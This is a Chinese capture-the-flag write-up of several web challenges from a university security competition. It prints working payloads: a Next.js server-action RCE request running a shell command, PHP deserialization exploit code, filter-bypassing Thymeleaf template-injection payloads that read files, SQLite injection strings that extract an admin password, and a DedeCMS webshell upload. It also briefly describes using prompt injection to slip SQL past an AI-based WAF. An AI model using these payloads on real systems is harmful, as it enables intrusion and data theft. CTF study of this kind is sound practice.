前言
第十九届全国大学生信息安全竞赛(创新能力实践赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛
神秘 11 道 web 题
dedecms
前台注册一个前台账户发现有一个 Aa123456789 的账户,尝试登录发现是管理员账户
Aa123456789:Aa123456789 登录后台

进入后台,核心-普通文章-添加文档-缩略图处可以上传文件,直接传个图片马改 php 后缀上去

然后就 getshell 了
Redjs
react2shell 秒了
POST /apps HTTP/2.0
Host: eci-2zee0kaqistouenwy4dr.cloudeci1.ichunqiu.com:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
sec-fetch-mode: navigate
cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1757815655
accept-encoding: gzip, deflate, br, zstd
sec-fetch-dest: document
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
te: trailers
sec-fetch-site: none
sec-fetch-user: ?1
priority: u=0, i
accept-language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
hellogate
进去一张图,抓包一看源码藏在响应体底下
<?
error_reporting(0);
class A {
public $handle;
public function triggerMethod() {
echo "" . $this->handle;
}
}
class B {
public $worker;
public $cmd;
public function __toString() {
return $this->worker->result;
}
}
class C {
public $cmd;
public function __get($name) {
echo file_get_contents($this->cmd);
}
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();
exp:
<?php
class A {
public $handle;
}
class B {
public $worker;
public $cmd="/flag";
}
class C {
public $cmd;
}
$a = new B();
$a->worker = new A();
echo serialize($a);
Deprecated
高能回献给上一届 ccb 决赛的情书对吗
那还说啥了,直接抄 a1natas 的公众号就是了
经典 rs256 与 hs256 的偏差

EzJava
题目描述说删除了所有的系统命令,需要读取敏感文件
弱口令 admin:admin123 直接登进去,有一个模板渲染预览的功能,一眼 thymeleaf
测试了下发现有如下检测替换:
T( 换成 NoNonew 换成 Wowflag 换成 Xxxx
直接用空格绕过第一个检测,先尝试列出目录
<p th:text="${T (java.util.Arrays).toString(T (java.io.File).listRoots()[0].list())}"></p>
可知 flag 在 /flag_y0u_d0nt_kn0w
然后通过索引读取内容:
<p th:text="${T (java.io.File).readAllLines(T (java.nio.files.Paths).get('/'.concat(T (java.io.File).listRoots()[0].list()[19]))).get(0)}"></p>
AI_WAF
/search 一个 sql 注入,说是用 AI 进行 WAF 的,测了下应该是根据 confidence 超过某个值来判断是否拦截的
fuzz 一下:
不可用: ['select', 'SELECT', 'union', 'UNION', 'union select', 'and', 'or', 'where', 'WHERE', 'order', 'ORDER', 'group', 'as', 'sleep', 'char', 'benchmark', 'concat']
ban 得一干二净,既然题目强调是 AI,那就尝试提示词注入,在 -- 注释符后面加上自己的提示词

0o0o0o0o0(Unsolved)
别笑,我来了没过第二关
随便注册一个账户上去,访问 data 接口,测试发现 id 存在 sql 注入
fuzz 一下:
不可用: ['or', '||', 'order', 'ORDER', 'as', 'ascii', 'mid', 'left', '--', 'information_schema', 'database', 'floor', 'sqlite_master', 'word', '%23']
注释符不能用 -- 和 # ,考虑手动闭合,后面发现是 sqlite 可以支持 /* 注释
-1' union select 1, 'test', 3 where '1'='1
可以联合查询返回三个回显位,由于 database 被 ban 了没法得知数据库名,猜出 users 表
因为是 sqlite 所以可以查一下有哪些列:
-1' union select 1, group_concat(name), 3 from pragma_table_info('users') where '1'='1
|ID|Name (UUID)|Content (UUID)|
|---|---|---|
|1|3|id,create_time,email,password,role,username|
尝试查询 ADMIN 的 users
-1' union select 1, role, username from users where role='ADMIN
ID Name (UUID) Content (UUID)
1 user457f285e ADMIN
但是由于 password 被 ban 了,考虑利用别名进行无列名注入:
-1' union select 1, x.d, 3 from (select 1 a, 2 b, 3 c, 4 d, 5 e, 6 f union select * from users where role = 'ADMIN') x limit 1 offset 1/*
|ID|Name (UUID)|Content (UUID)|
|---|---|---|
|1|3|eb3118d7-29ba-46dc-9af3-10fdc41510f9|
得到 admin 的密码,可以登录到 admin
进去 admin panel 发现里面是一个上传 excel 并解析的功能,不会做来不及了 😭
